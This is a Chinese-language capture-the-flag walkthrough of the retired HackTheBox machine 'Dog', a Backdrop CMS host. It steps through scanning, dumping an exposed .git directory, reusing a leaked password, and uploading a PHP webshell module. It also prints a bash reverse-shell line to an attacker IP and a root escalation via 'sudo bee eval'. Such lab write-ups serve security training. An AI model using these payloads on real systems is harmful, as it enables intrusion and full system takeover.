HTB Dog靶机渗透实战 - 从Git泄露到Root权限获取

本文详细记录了HTB Dog靶机的完整渗透过程,通过暴露的Git目录获取配置信息,利用Backdrop CMS漏洞上传恶意模块获取初始访问权限,最后通过bee工具的命令执行功能实现权限提升。

HTB: Dog

概述

Dog是一个运行Backdrop CMS的HTB靶机。通过利用Web服务器上暴露的Git目录获取配置文件,发现用户名和密码。登录CMS后上传恶意模块获取远程代码执行权限。通过共享密码横向移动到另一个用户,发现其可以以root权限运行Backdrop管理工具bee,最终通过执行任意PHP代码获得root shell。

靶机信息

  • 名称: Dog
  • 发布日期: 2025年3月8日
  • 退役日期: 2025年7月12日
  • 操作系统: Linux
  • 难度: 简单(20分)

侦察

Nmap扫描

Nmap发现两个开放的TCP端口:SSH(22)和HTTP(80):

1
2
3
4
5
6
7
8
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.58
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-19 16:11 EST
Nmap scan report for 10.10.11.58
Host is up (0.088s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

详细版本扫描显示:

  • OpenSSH 8.2p1 Ubuntu
  • Apache 2.4.41 (Ubuntu)
  • Backdrop CMS 1.27.1
  • 暴露的.git目录

网站分析(TCP 80)

技术栈

网站运行Backdrop CMS, footer和HTTP头都确认了这一点:

1
X-Generator: Backdrop CMS 1 (https://backdropcms.org)

目录枚举

使用feroxbuster发现多个可列目录:

  • /modules/
  • /themes/
  • /sites/
  • /files/
  • /core/
  • /layouts/

源代码获取

Git仓库下载

利用git-dumper工具下载暴露的.git目录:

1
oxdf@hacky$ git-dumper http://10.10.11.58/ repo

配置文件分析

在settings.php中发现数据库连接信息:

1
$database = 'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop';

通过Git日志发现用户邮箱:

获取www-data Shell

CMS管理员访问

使用凭据:

  • 用户名: tiffany
  • 密码: BackDropJ2024DS2024

成功登录Backdrop CMS管理后台。

恶意模块上传

通过"安装新模块"功能上传包含webshell的恶意模块(reference.tar):

1
<?php system($_GET['cmd']);?>

反向Shell获取

通过webshell执行反向Shell命令:

1
bash -c 'bash -i >%26 /dev/tcp/10.10.14.79/443 0>%261'

成功获得www-data权限的shell。

横向移动至johncusack

用户枚举

发现两个用户:

  • jobert
  • johncusack

权限提升

使用相同的密码(BackDropJ2024DS2024)成功切换到johncusack用户:

1
2
3
www-data@dog:/$ su - johncusack
Password: 
johncusack@dog:~$

Root权限获取

Sudo权限分析

发现johncusack可以以root权限运行bee工具:

1
2
3
johncusack@dog:~$ sudo -l
User johncusack may run the following commands on dog:
    (ALL : ALL) /usr/local/bin/bee

Bee工具利用

bee是Backdrop CMS的命令行管理工具,包含eval命令可执行PHP代码:

1
2
johncusack@dog:/var/www/html$ sudo bee eval 'system("id")'
uid=0(root) gid=0(root) groups=0(root)

Root Shell获取

通过eval命令执行bash获取root权限:

1
2
johncusack@dog:/var/www/html$ sudo bee eval 'system("bash")'
root@dog:/var/www/html#

总结

通过系统性的渗透测试过程,从信息收集到最终获取root权限,完整展示了现代Web应用渗透测试的典型流程和技术手段。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计